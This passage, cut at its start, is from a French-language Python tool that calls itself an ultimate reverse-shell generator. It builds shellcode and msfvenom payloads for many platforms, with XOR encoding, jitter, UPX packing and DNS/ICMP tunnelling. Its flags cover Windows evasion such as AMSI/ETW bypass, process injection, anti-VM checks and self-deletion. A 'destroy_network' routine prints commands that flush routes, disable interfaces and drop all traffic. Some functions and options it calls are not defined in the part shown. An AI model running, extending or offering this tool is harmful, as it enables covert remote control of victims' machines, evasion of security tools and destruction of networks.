        f.write(filled)
        asm_file = f.name
    fmt_map = {'x86': 'elf32', 'x64': 'elf64'}
    fmt = fmt_map.get(arch, 'elf32')
    obj_file = asm_file + '.o'
    try:
        subprocess.run([nasm, '-f', fmt, asm_file, '-o', obj_file], check=True, capture_output=True)
    except subprocess.CalledProcessError as e:
        print(f"   → Erreur NASM : {e.stderr.decode()}")
        raise
    finally:
        os.unlink(asm_file)
    objcopy = find_tool('objcopy', required=False, verbose=verbose)
    if objcopy is None:
        if verbose:
            print("[!] objcopy non trouvé, lecture directe de l'objet (moins fiable).")
        with open(obj_file, 'rb') as f:
            shellcode = f.read()
        os.unlink(obj_file)
        return shellcode
    with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as f:
        out_file = f.name
    try:
        subprocess.run([objcopy, '-O', 'binary', '-j', '.text', obj_file, out_file], check=True, capture_output=True)
        with open(out_file, 'rb') as f:
            shellcode = f.read()
    finally:
        os.unlink(obj_file)
        os.unlink(out_file)

    if jitter_range and arch in ['x86', 'x64']:
        match = re.match(r'(\d+)-(\d+)', jitter_range)
        if match:
            min_sec, max_sec = int(match.group(1)), int(match.group(2))
            # Ajouter jitter (simple)
            jitter_stub = generate_jitter_stub(arch, min_sec, max_sec, verbose)
            if jitter_stub:
                shellcode = jitter_stub + shellcode
        else:
            if verbose:
                print(f"[!] Jitter ignoré : format invalide '{jitter_range}'")
    return shellcode

def generate_jitter_stub(arch: str, min_sec: int, max_sec: int, verbose: bool = False) -> bytes:
    if arch == 'x86':
        asm = f"""
        BITS 32
        jitter_start:
            mov eax, 0x1a
            xor ebx, ebx
            xor ecx, ecx
            xor edx, edx
            int 0x80
            test eax, eax
            jnz normal_exec
        normal_exec:
            rdtsc
            mov ebx, eax
            xor edx, edx
            mov ecx, {max_sec - min_sec + 1}
            div ecx
            add edx, {min_sec}
            push edx
            push 0
            mov ecx, esp
            mov eax, 0xa2
            int 0x80
            add esp, 8
        """
        fmt = 'elf32'
    else:
        asm = f"""
        BITS 64
        jitter_start:
            mov eax, 0x65
            xor edi, edi
            xor esi, esi
            xor edx, edx
            syscall
            test rax, rax
            jnz normal_exec
        normal_exec:
            rdtsc
            mov ebx, eax
            xor edx, edx
            mov ecx, {max_sec - min_sec + 1}
            div ecx
            add edx, {min_sec}
            push rdx
            push 0
            mov rsi, rsp
            mov eax, 0xe6
            syscall
            add rsp, 16
        """
        fmt = 'elf64'
    with tempfile.NamedTemporaryFile(mode='w', suffix='.asm', delete=False) as f:
        f.write(asm)
        asm_file = f.name
    obj_file = asm_file + '.o'
    bin_file = asm_file + '.bin'
    try:
        nasm = find_tool('nasm', required=True, verbose=verbose)
        subprocess.run([nasm, '-f', fmt, asm_file, '-o', obj_file], check=True, capture_output=True)
        subprocess.run(['objcopy', '-O', 'binary', '-j', '.text', obj_file, bin_file], check=True, capture_output=True)
        with open(bin_file, 'rb') as f:
            stub = f.read()
    except subprocess.CalledProcessError as e:
        if verbose:
            print(f"   → Erreur génération jitter : {e.stderr.decode()}")
        stub = b''
    finally:
        for f in [asm_file, obj_file, bin_file]:
            if os.path.exists(f):
                os.unlink(f)
    return stub

def build_linux_executable(shellcode: bytes, bits: int, upx: bool = False, verbose: bool = False) -> Optional[bytes]:
    hex_bytes = ','.join(f'0x{b:02x}' for b in shellcode)
    if bits == 32:
        asm = f"""
        BITS 32
        global _start
        section .text
        _start:
            db {hex_bytes}
        """
        fmt = 'elf32'
        link_cmd = ['ld', '-m', 'elf_i386', '-o', 'payload', 'payload.o']
    else:
        asm = f"""
        BITS 64
        global _start
        section .text
        _start:
            db {hex_bytes}
        """
        fmt = 'elf64'
        link_cmd = ['ld', '-o', 'payload', 'payload.o']
    nasm = find_tool('nasm', required=False, verbose=verbose)
    if nasm is None:
        if verbose:
            print("[!] nasm non trouvé, utilisation de msfvenom pour créer l'exe")
        return None
    with tempfile.NamedTemporaryFile(mode='w', suffix='.asm', delete=False) as f:
        f.write(asm)
        asm_file = f.name
    obj_file = asm_file + '.o'
    exe_file = asm_file + '.exe'
    try:
        subprocess.run([nasm, '-f', fmt, asm_file, '-o', obj_file], check=True, capture_output=True)
        subprocess.run(link_cmd + [obj_file, '-o', exe_file], check=True, capture_output=True)
        with open(exe_file, 'rb') as f:
            exe_data = f.read()
    except subprocess.CalledProcessError as e:
        if verbose:
            print(f"   → Erreur : {e.stderr.decode()}")
        exe_data = b''
    finally:
        for f in [asm_file, obj_file, exe_file]:
            if os.path.exists(f):
                os.unlink(f)
    if upx and exe_data:
        upx_tool = find_tool('upx', required=False, verbose=verbose)
        if upx_tool:
            if verbose:
                print("   → Compression avec UPX...")
            with tempfile.NamedTemporaryFile(delete=False) as f:
                f.write(exe_data)
                tmp_file = f.name
            try:
                subprocess.run([upx_tool, '-q', '-o', exe_file, tmp_file], check=True, capture_output=True)
                with open(exe_file, 'rb') as f:
                    exe_data = f.read()
            except subprocess.CalledProcessError as e:
                if verbose:
                    print(f"   → Échec de compression UPX : {e}")
            finally:
                os.unlink(tmp_file)
    return exe_data

def generate_dns_payload(target: str, dns_server: str, dns_domain: str, verbose: bool = False) -> bytes:
    if 'x86' in target:
        payload = 'linux/x86/dns_reverse_tcp'
    elif 'x64' in target:
        payload = 'linux/x64/dns_reverse_tcp'
    elif 'windows' in target:
        payload = 'windows/x64/dns_reverse_tcp' if 'x64' in target else 'windows/x86/dns_reverse_tcp'
    else:
        payload = 'linux/x64/dns_reverse_tcp'
    return msfvenom_payload(payload, dns_server, 53, 'raw', verbose)

def generate_icmp_payload(target: str, ip: str, verbose: bool = False) -> bytes:
    if 'x86' in target:
        payload = 'linux/x86/icmp_reverse_tcp'
    elif 'x64' in target:
        payload = 'linux/x64/icmp_reverse_tcp'
    elif 'windows' in target:
        payload = 'windows/x64/icmp_reverse_tcp' if 'x64' in target else 'windows/x86/icmp_reverse_tcp'
    else:
        payload = 'linux/x64/icmp_reverse_tcp'
    return msfvenom_payload(payload, ip, 53, 'raw', verbose)

def destroy_network(ip: str, verbose: bool = False):
    print("\n💀 Destruction du réseau cible...")
    print("   Commandes recommandées (à exécuter dans le shell) :")
    print("     # Suppression des routes")
    print("     ip route flush all")
    print("     # Désactivation des interfaces")
    print("     ip link set eth0 down")
    print("     # Suppression des tables ARP")
    print("     ip neigh flush all")
    print("     # Désactivation du routage")
    print("     echo 0 > /proc/sys/net/ipv4/ip_forward")
    print("     # Blocage du trafic")
    print("     iptables -P INPUT DROP")
    print("     iptables -P OUTPUT DROP")
    print("     iptables -P FORWARD DROP")
    if verbose:
        print("\n[!] Note : ces commandes sont destructrices et doivent être exécutées avec prudence.")

def interactive_selection(verbose: bool = False):
    print("\n" + "="*60)
    print("  Mode interactif – Génération de payload sur mesure")
    print("="*60)

    print("\n[1] Quel est le système d'exploitation cible ?")
    print("    1) Linux (serveur, routeur, embarqué)")
    print("    2) Windows")
    print("    3) macOS")
    print("    4) Android")
    print("    5) Autre / Inconnu")
    os_choice = input("Votre choix (1-5) : ").strip()
    while os_choice not in ['1', '2', '3', '4', '5']:
        os_choice = input("Choix invalide. Entrez 1-5 : ").strip()

    arch_map = {
        '1': ['x86', 'x64', 'ARM (little)', 'ARM (big)', 'MIPS (big)', 'MIPS (little)', 'PowerPC'],
        '2': ['x86', 'x64'],
        '3': ['x64'],
        '4': ['ARM', 'ARM64'],
        '5': ['x86', 'x64', 'ARM', 'MIPS', 'PowerPC']
    }
    arch = 'x86'
    if os_choice == '1':
        print("\n[2] Quelle architecture ?")
        arch_opts = arch_map['1']
        for i, a in enumerate(arch_opts, 1):
            print(f"    {i}) {a}")
        arch_idx = input("Votre choix : ").strip()
        arch_list = ['x86', 'x64', 'arm', 'armbe', 'mips', 'mipsle', 'ppc']
        try:
            arch = arch_list[int(arch_idx)-1]
        except:
            arch = 'x86'
    elif os_choice == '2':
        arch = input("Architecture (x86/x64) [x64] : ").strip().lower()
        if arch not in ['x86', 'x64']:
            arch = 'x64'
    elif os_choice == '3':
        arch = 'x64'
    elif os_choice == '4':
        arch = input("Architecture (arm/arm64) [arm] : ").strip().lower()
        if arch not in ['arm', 'arm64']:
            arch = 'arm'
    else:
        arch = input("Architecture (x86/x64/arm/mips/ppc) [x64] : ").strip().lower()
        if arch not in ['x86', 'x64', 'arm', 'mips', 'mipsle', 'ppc']:
            arch = 'x64'

    print("\n[3] Quel protocole de communication ?")
    print("    1) TCP direct (reverse shell classique)")
    print("    2) DNS tunneling (nécessite un serveur DNS C2)")
    print("    3) ICMP tunneling (nécessite un serveur ICMP C2)")
    proto = input("Votre choix (1-3) : ").strip()
    while proto not in ['1', '2', '3']:
        proto = input("Choix invalide. Entrez 1-3 : ").strip()

    ip = None
    port = None
    dns_server = None
    dns_domain = None
    if proto == '1':
        ip = input("\n[4] Adresse IP du listener (ex: 192.168.1.10) : ").strip()
        port = input("Port du listener (ex: 4444) : ").strip()
        try:
            port = int(port)
        except:
            port = 4444
    elif proto == '2':
        dns_server = input("\n[4] Adresse du serveur DNS pour le tunnel (ex: 192.168.1.10) : ").strip()
        dns_domain = input("   Domaine à utiliser (ex: c2.local) : ").strip()
    else:
        ip = input("\n[4] Adresse IP du serveur ICMP (ex: 192.168.1.10) : ").strip()

    print("\n[5] Options supplémentaires (o/n)")
    stealth = input("   → Mode furtif (XOR + jitter) ? [n] : ").strip().lower() in ['o','oui','y','yes']
    jitter_range = None
    if stealth and proto == '1' and arch in ['x86', 'x64']:
        jitter_range = input("   → Intervalle de jitter (secondes, ex: 5-15) [5-15] : ").strip()
        if not jitter_range:
            jitter_range = "5-15"
    destroy = input("   → Détruire le réseau cible après le shell ? [n] : ").strip().lower() in ['o','oui','y','yes']
    exe = input("   → Générer un exécutable (au lieu du shellcode brut) ? [n] : ").strip().lower() in ['o','oui','y','yes']
    upx = input("   → Compresser avec UPX (si exe) ? [n] : ").strip().lower() in ['o','oui','y','yes']
    encode = input("   → Encodage XOR supplémentaire ? (clé hexadécimale, laisser vide pour non) : ").strip()
    key = None
    if encode:
        try:
            key = int(encode, 16)
        except:
            print("   → Clé invalide, encodage ignoré.")

    # Construire le nom de la cible
    if os_choice == '1':
        if arch == 'x86':
            target = 'linux_x86'
        elif arch == 'x64':
            target = 'linux_x64'
        elif arch == 'arm':
            target = 'linux_armle' if input("   → Little endian ? [o] : ").strip().lower() in ['o','oui','y','yes'] else 'linux_armbe'
        elif arch == 'mips':
            target = 'linux_mips' if input("   → Big endian ? [o] : ").strip().lower() in ['o','oui','y','yes'] else 'linux_mipsle'
        else:
            target = 'linux_ppc'
    elif os_choice == '2':
        target = 'windows_x86' if arch == 'x86' else 'windows_x64'
    elif os_choice == '3':
        target = 'macos_x64'
    elif os_choice == '4':
        target = 'android_arm' if arch == 'arm' else 'android_arm64'
    else:
        target = 'linux_x64'  # fallback

    if target not in ['linux_x86', 'linux_x64']:
        jitter_range = None
        if stealth and verbose:
            print("[!] Mode stealth (jitter) non disponible pour cette cible, désactivé.")

    return (target, ip, port, dns_server, dns_domain,
            stealth, jitter_range, destroy, exe, key, upx, proto)

# ========================== TARGETS (CROSS-PLATFORM) ==========================
TARGETS = {}

def linux_x86_generate(ip, port, jitter, verbose):
    return compile_linux_shellcode(LINUX_X86_TEMPLATE, ip, port, 'x86', 'be', jitter, verbose)

def linux_x64_generate(ip, port, jitter, verbose):
    return compile_linux_shellcode(LINUX_X64_TEMPLATE, ip, port, 'x64', 'be', jitter, verbose)

TARGETS['linux_x86'] = {
    'name': 'Linux x86',
    'bits': 32,
    'arch': 'x86',
    'endian': 'be',
    'generate': linux_x86_generate,
    'build_exe': lambda sc, upx, verbose: build_linux_executable(sc, 32, upx, verbose),
    'make_executable': True,
    'description': 'Reverse shell pour Linux x86 (Intel/AMD)',
}
TARGETS['linux_x64'] = {
    'name': 'Linux x64',
    'bits': 64,
    'arch': 'x64',
    'endian': 'be',
    'generate': linux_x64_generate,
    'build_exe': lambda sc, upx, verbose: build_linux_executable(sc, 64, upx, verbose),
    'make_executable': True,
    'description': 'Reverse shell pour Linux x64 (Intel/AMD)',
}

TARGETS['windows_x86'] = {
    'name': 'Windows x86',
    'bits': 32,
    'arch': 'x86',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('windows/shell_reverse_tcp', ip, port, 'raw', verbose),
    'build_exe': lambda sc, upx, verbose: generate_windows_exe(sc, verbose),
    'make_executable': True,
    'description': 'Reverse shell pour Windows 32 bits',
}
TARGETS['windows_x64'] = {
    'name': 'Windows x64',
    'bits': 64,
    'arch': 'x64',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('windows/x64/shell_reverse_tcp', ip, port, 'raw', verbose),
    'build_exe': lambda sc, upx, verbose: generate_windows_exe(sc, verbose),
    'make_executable': True,
    'description': 'Reverse shell pour Windows 64 bits',
}

TARGETS['macos_x64'] = {
    'name': 'macOS x64',
    'bits': 64,
    'arch': 'x64',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('osx/x64/shell_reverse_tcp', ip, port, 'raw', verbose),
    'make_executable': False,
    'description': 'Reverse shell pour macOS 64 bits',
}
TARGETS['android_arm'] = {
    'name': 'Android ARM',
    'bits': 32,
    'arch': 'arm',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('android/meterpreter/reverse_tcp', ip, port, 'raw', verbose),
    'make_executable': False,
    'description': 'Reverse shell pour Android ARM',
}
TARGETS['android_arm64'] = {
    'name': 'Android ARM64',
    'bits': 64,
    'arch': 'arm64',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('android/meterpreter/reverse_tcp', ip, port, 'raw', verbose),
    'make_executable': False,
    'description': 'Reverse shell pour Android ARM64',
}
TARGETS['linux_mips'] = {
    'name': 'Linux MIPS (big endian)',
    'bits': 32,
    'arch': 'mips',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/mips/shell_reverse_tcp', ip, port, 'raw', verbose),
    'make_executable': False,
    'description': 'Reverse shell pour routeurs MIPS (big endian)',
}
TARGETS['linux_mipsle'] = {
    'name': 'Linux MIPS little endian',
    'bits': 32,
    'arch': 'mipsle',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/mipsle/shell_reverse_tcp', ip, port, 'raw', verbose),
    'make_executable': False,
    'description': 'Reverse shell pour routeurs MIPS (little endian)',
}
TARGETS['linux_armle'] = {
    'name': 'Linux ARM (little endian)',
    'bits': 32,
    'arch': 'arm',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/armle/shell_reverse_tcp', ip, port, 'raw', verbose),
    'make_executable': False,
    'description': 'Reverse shell pour Linux ARM (little endian)',
}
TARGETS['linux_armbe'] = {
    'name': 'Linux ARM (big endian)',
    'bits': 32,
    'arch': 'arm',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/armbe/shell_reverse_tcp', ip, port, 'raw', verbose),
    'make_executable': False,
    'description': 'Reverse shell pour Linux ARM (big endian)',
}
TARGETS['linux_ppc'] = {
    'name': 'Linux PowerPC',
    'bits': 32,
    'arch': 'ppc',
    'generate': lambda ip, port, jitter, verbose: msfvenom_payload('linux/ppc/shell_reverse_tcp', ip, port, 'raw', verbose),
    'make_executable': False,
    'description': 'Reverse shell pour Linux PowerPC',
}

def generate(target: str, ip: str, port: int, stealth: bool = False,
             dns_tunnel: bool = False, icmp_tunnel: bool = False,
             dns_server: str = None, dns_domain: str = None,
             jitter_range: str = None, embedded: bool = False, tiny: bool = False,
             verbose: bool = False) -> bytes:
    cfg = TARGETS[target]
    if verbose:
        print(f"\n{'='*60}")
        print(f"[+] Cible : {cfg['name']}")
        print(f"[+] Description : {cfg.get('description', '')}")
        if dns_tunnel:
            print(f"[+] DNS tunnel : serveur={dns_server}, domaine={dns_domain}")
        elif icmp_tunnel:
            print(f"[+] ICMP tunnel : serveur={ip}")
        else:
            print(f"[+] Listener : {ip}:{port}")
        if stealth:
            print("[+] Mode stealth activé (XOR + jitter)")
        if jitter_range:
            print(f"[+] Jitter : {jitter_range} secondes")
        print(f"{'='*60}")

    if dns_tunnel:
        shellcode = generate_dns_payload(target, dns_server, dns_domain, verbose)
    elif icmp_tunnel:
        shellcode = generate_icmp_payload(target, ip, verbose)
    else:
        shellcode = cfg['generate'](ip, port, jitter_range if stealth else None, verbose)
    return shellcode

def main():
    parser = argparse.ArgumentParser(
        description='Générateur de reverse shell ultime (2026) – Fusion cross-platform et techniques avancées',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='Exemples:\n'
               '  # Reverse shell classique (Linux x64)\n'
               '  %(prog)s --target linux_x64 --ip 192.168.1.10 --port 4444\n'
               '  # Windows avancé (100% syscalls, Ekko, bypass)\n'
               '  %(prog)s --target windows_x64 --ip 192.168.1.10 --port 4444 --syscall-full --ekko-robust --bypass-nextgen\n'
               '  # Mode interactif\n'
               '  %(prog)s --interactive\n'
               '\nPour écouter : nc -lvnp 4444'
    )
    parser.add_argument('--target', choices=list(TARGETS.keys()), help='Cible (architecture/OS)')
    parser.add_argument('--ip', help='IP du listener (pour TCP) ou serveur ICMP')
    parser.add_argument('--port', type=int, help='Port du listener (pour TCP)')
    parser.add_argument('--dns-tunnel', action='store_true', help='Utiliser le tunneling DNS')
    parser.add_argument('--dns-server', help='Adresse du serveur DNS pour le tunnel')
    parser.add_argument('--dns-domain', help='Domaine à utiliser pour le tunnel')
    parser.add_argument('--icmp-tunnel', action='store_true', help='Utiliser le tunneling ICMP')
    parser.add_argument('--jitter', help='Ajouter un délai aléatoire entre les beacons (ex: 5-15)')
    parser.add_argument('--output', '-o', help='Fichier de sortie pour le shellcode brut')
    parser.add_argument('--exe', action='store_true', help='Générer un exécutable (si supporté)')
    parser.add_argument('--upx', action='store_true', help='Compresser l\'exécutable avec UPX (si disponible)')
    parser.add_argument('--stealth', action='store_true', help='Activer les techniques d\'évasion (XOR + jitter)')
    parser.add_argument('--destroy', action='store_true', help='Détruire le réseau cible après obtention du shell')
    parser.add_argument('--embedded', action='store_true', help='Payload adapté pour BusyBox (shell minimal)')
    parser.add_argument('--tiny', action='store_true', help='Générer un shellcode ultra-court')
    parser.add_argument('--encode', choices=['xor'], help='Encoder le shellcode (XOR)')
    parser.add_argument('--key', type=lambda x: int(x, 16), help='Clé pour XOR (hex)')
    parser.add_argument('--interactive', action='store_true', help='Mode interactif (guide l\'utilisateur)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Afficher les étapes détaillées')

    # Options avancées (Windows)
    parser.add_argument('--syscall-full', action='store_true', help='Windows: 100% syscalls (Hell\'s Gate)')
    parser.add_argument('--sleep-mask', action='store_true', help='Windows: Activer le sleep masking (Ekko-like)')
    parser.add_argument('--ekko-robust', action='store_true', help='Windows: Ekko avec VEH + thread isolé')
    parser.add_argument('--environmental', action='store_true', help='Windows: Environmental keying')
    parser.add_argument('--anti-vm', action='store_true', help='Windows: Inclure des checks anti-VM')
    parser.add_argument('--injection', choices=['hollowing', 'early_bird'], help='Windows: Technique d\'injection')
    parser.add_argument('--inject-process', default='explorer.exe', help='Windows: Processus cible pour l\'injection')
    parser.add_argument('--self-delete', action='store_true', help='Windows: Auto-suppression')
    parser.add_argument('--timestomp', action='store_true', help='Windows: Modifier les timestamps')
    parser.add_argument('--call-stack-spoof', action='store_true', help='Windows: Call stack spoofing')
    parser.add_argument('--amsi-bypass', action='store_true', help='Windows: AMSI/ETW bypass')
    parser.add_argument('--bypass-nextgen', action='store_true', help='Windows: Bypass next-gen (ETW patch, hardware breakpoint)')
    parser.add_argument('--malleable-c2', action='store_true', help='Windows: Beacon HTTP/HTTPS malleable')
    parser.add_argument('--malleable-profile', action='store_true', help='Windows: Profil complet (Cobalt Strike-like)')
    parser.add_argument('--cipher', choices=['xor', 'rc4', 'aes', 'chacha'], default='xor', help='Algorithme de chiffrement')
    parser.add_argument('--metamorph-deep', action='store_true', help='Windows: Métamorphisme profond pour analyse statique')
    parser.add_argument('--c2-url', help='Windows: URL/domaine pour le C2 (http/https/dns)')
    parser.add_argument('--c2-type', choices=['tcp', 'http', 'https', 'dns'], default='tcp', help='Type de C2')

    args = parser.parse_args()

    if args.interactive:
        (target, ip, port, dns_server, dns_domain,
         stealth, jitter_range, destroy, exe, key, upx, proto) = interactive_selection(args.verbose)
        args.target = target
        args.ip = ip
        args.port = port
        args.dns_tunnel = (proto == '2')
        args.dns_server = dns_server
        args.dns_domain = dns_domain
        args.icmp_tunnel = (proto == '3')
        args.jitter = jitter_range
        args.stealth = stealth
        args.destroy = destroy
        args.exe = exe
        args.upx = upx
        if key is not None:
            args.encode = 'xor'
            args.key = key

    if not args.target:
        print("Erreur : paramètre --target manquant. Utilisez --interactive ou fournissez une cible.")
        sys.exit(1)

    # Vérifier les options avancées
    advanced_used = any([args.syscall_full, args.sleep_mask, args.ekko_robust, args.environmental,
                         args.anti_vm, args.injection, args.self_delete, args.timestomp,
                         args.call_stack_spoof, args.amsi_bypass, args.bypass_nextgen,
                         args.malleable_c2, args.malleable_profile, args.metamorph_deep])
    if advanced_used and not args.target.startswith('windows'):
        print("❌ Les options avancées (syscall-full, ekko-robust, etc.) sont réservées aux cibles Windows.")
        sys.exit(1)

    # Si des options avancées sont utilisées et que la cible est Windows, on génère le loader C
    if advanced_used and args.target.startswith('windows'):
        # Générer le shellcode de base
        if args.malleable_c2:
            shellcode = b''
        else:
            if args.c2_type == 'tcp':
                shellcode = msfvenom_payload(f'windows/{args.target.split("_")[1]}/shell_reverse_tcp',
                                             args.ip, args.port, 'raw', args.verbose)
            elif args.c2_type in ('http', 'https'):
                shellcode = msfvenom_payload(f'windows/{args.target.split("_")[1]}/meterpreter/reverse_{args.c2_type}',
                                             args.ip, args.port, 'raw', args.verbose)
            elif args.c2_type == 'dns':
                shellcode = msfvenom_payload(f'windows/{args.target.split("_")[1]}/dns_reverse_tcp',
                                             args.c2_url, 53, 'raw', args.verbose)
            else:
                shellcode = None

            if not args.malleable_c2 and shellcode is None:
                print("❌ Échec de génération du shellcode de base.")
                sys.exit(1)

        options = {
            'cipher': args.cipher,
            'key': None if args.key is None else bytes([args.key]) if args.cipher == 'xor' else base64.b64decode(args.key),
            'jitter_range': args.jitter,
            'sleep_mask': args.sleep_mask,
            'ekko_robust': args.ekko_robust,
            'syscall_full': args.syscall_full,
            'environmental': args.environmental,
            'anti_vm': args.anti_vm,
            'injection': args.injection,
            'inject_process': args.inject_process,
            'self_delete': args.self_delete,
            'timestomp': args.timestomp,
            'call_stack_spoof': args.call_stack_spoof,
            'amsi_bypass': args.amsi_bypass,
            'bypass_nextgen': args.bypass_nextgen,
            'malleable_c2': args.malleable_c2,
            'malleable_profile': args.malleable_profile,
            'c2_url': args.c2_url,
            'metamorph_deep': args.metamorph_deep,
        }
        c_code = generate_advanced_windows_loader(shellcode, options)

        if args.compile:
            out_file = args.output or 'payload'
            if compile_c_source(c_code, out_file, 'windows', 'x64', args.verbose):
                print(f"✅ Binaire compilé : {out_file}")
            else:
                print("❌ Compilation échouée")
        else:
            if args.output:
                with open(args.output, 'w') as f:
                    f.write(c_code)
                print(f"✅ Code source C sauvegardé : {args.output}")
            else:
                print(c_code)
        sys.exit(0)

    # Sinon, comportement classique du générateur cross-platform
    if args.dns_tunnel:
        if not args.dns_server or not args.dns_domain:
            print("Erreur : --dns-tunnel nécessite --dns-server et --dns-domain")
            sys.exit(1)
    elif args.icmp_tunnel:
        if not args.ip:
            print("Erreur : --icmp-tunnel nécessite --ip")
            sys.exit(1)
    else:
        if not args.ip or not args.port:
            print("Erreur : paramètres --ip et --port requis pour le reverse TCP classique.")
            sys.exit(1)

    try:
        shellcode = generate(args.target, args.ip, args.port,
                             args.stealth, args.dns_tunnel, args.icmp_tunnel,
                             args.dns_server, args.dns_domain,
                             args.jitter, args.embedded, args.tiny,
                             args.verbose)
    except Exception as e:
        print(f"\n❌ Erreur lors de la génération : {e}\n")
        sys.exit(1)

    if args.encode == 'xor':
        if args.key is None:
            print("\n❌ Erreur : --key est requis pour l'encodage XOR\n")
            sys.exit(1)
        cfg = TARGETS[args.target]
        # XOR encoding (simple)
        encoded = bytes([b ^ (args.key & 0xFF) for b in shellcode])
        # On peut ajouter un stub polymorphique simple (optionnel)
        # Pour l'instant on remplace directement
        shellcode = encoded
        print(f"[+] Encodage XOR avec clé 0x{args.key&0xFF:02x}")
    elif args.stealth and not args.encode and not args.dns_tunnel and not args.icmp_tunnel:
        random_key = random.randint(1, 255)
        shellcode = bytes([b ^ random_key for b in shellcode])
        print(f"[+] Encodage stealth avec clé 0x{random_key:02x}")

    if args.output:
        with open(args.output, 'wb') as f:
            f.write(shellcode)
        print(f"\n✅ Shellcode écrit dans {args.output} (taille: {len(shellcode)} octets)")
    else:
        hex_str = ''.join(f'\\x{b:02x}' for b in shellcode)
        print(hex_str)

    if args.exe:
        cfg = TARGETS[args.target]
        if cfg.get('make_executable') and cfg.get('build_exe'):
            exe_data = cfg['build_exe'](shellcode, args.upx, args.verbose)
            if exe_data:
                out_exe = args.output + '.exe' if args.output else 'payload.exe'
                with open(out_exe, 'wb') as f:
                    f.write(exe_data)
                print(f"\n✅ Exécutable créé : {out_exe} (taille: {len(exe_data)} octets)")
            else:
                print("\n❌ La génération d'exécutable a échoué (vérifiez les dépendances).")
        else:
            print("\n❌ Génération d'exécutable non supportée pour cette cible.")

    if args.destroy:
        destroy_network(args.ip if args.ip else "cible", args.verbose)

    print("\n" + "="*60)
    print("[+] Résumé :")
    print(f"    Cible : {TARGETS[args.target]['name']}")
    print(f"    Shellcode : {len(shellcode)} octets")
    if args.encode or (args.stealth and not args.encode and not args.dns_tunnel and not args.icmp_tunnel):
        key_used = args.key if args.key else random_key
        print(f"    Encodage : XOR (clé 0x{key_used:02x})")
    if args.exe and cfg.get('make_executable'):
        print(f"    Exécutable : généré")
    if args.destroy:
        print("    Mode destruction : activé (exécutez les commandes dans le shell)")
    if args.jitter:
        print(f"    Jitter : {args.jitter} secondes")
    if args.dns_tunnel:
        print(f"    DNS tunnel : {args.dns_server} / {args.dns_domain}")
    if args.icmp_tunnel:
        print("    ICMP tunnel : activé")
    print(f"\n    Pour tester, écoutez avec : nc -lvnp {args.port if args.port else 4444}")
    print("="*60)

if __name__ == '__main__':
    main()

Remarque : Le script complet est disponible dans le dépôt GitHub associé ou peut être obtenu directement auprès de l’auteur.

↑ Haut